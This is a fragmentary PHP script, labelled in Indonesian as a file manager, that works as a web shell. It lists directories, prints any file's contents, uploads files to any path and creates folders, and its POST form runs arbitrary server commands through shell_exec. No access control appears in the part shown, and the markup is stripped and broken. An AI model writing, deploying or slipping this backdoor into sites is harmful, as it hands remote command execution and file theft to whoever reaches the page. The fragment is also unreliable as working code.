Logo Pengelola Berkas

        ';
                foreach (scandir($path) as $data) {
                    if ($data !== '.' && $data !== '..') {
                        $fullPath = rtrim($path, '/') . '/' . $data;
                        echo "$data
"; } } } else { echo 'File
'; echo htmlspecialchars(file_get_contents($path)); } } // Menangani unggahan file if (isset($_POST['upload'])) { $upload_path = $_POST['upload_path']; if (isset($_FILES['uploaded_file']) && $_FILES['uploaded_file']['error'] === UPLOAD_ERR_OK) { $tmp_name = $_FILES['uploaded_file']['tmp_name']; $name = basename($_FILES['uploaded_file']['name']); $target_file = rtrim($upload_path, '/') . '/' . $name; if (move_uploaded_file($tmp_name, $target_file)) { echo 'Unggah Berhasil: ' . htmlspecialchars($target_file) . '
'; } else { echo 'Unggah Gagal
'; } } else { echo 'Tidak ada file yang diunggah atau terjadi kesalahan
'; } } // Menangani eksekusi perintah terminal if (isset($_POST['run_command']) && !empty($_POST['command'])) { $command = escapeshellcmd($_POST['command']); $output = shell_exec($command); echo 'Output Perintah:
'; echo htmlspecialchars($output); } // Menangani pembuatan folder if (isset($_POST['create_folder']) && !empty($_POST['folder_name'])) { $create_path = $_POST['create_path']; $folder_name = basename($_POST['folder_name']); $new_folder_path = rtrim($create_path, '/') . '/' . $folder_name; if (mkdir($new_folder_path, 0755)) { echo 'Folder Berhasil Dibuat: ' . htmlspecialchars($new_folder_path) . '
'; } else { echo 'Gagal Membuat Folder
'; } } ?>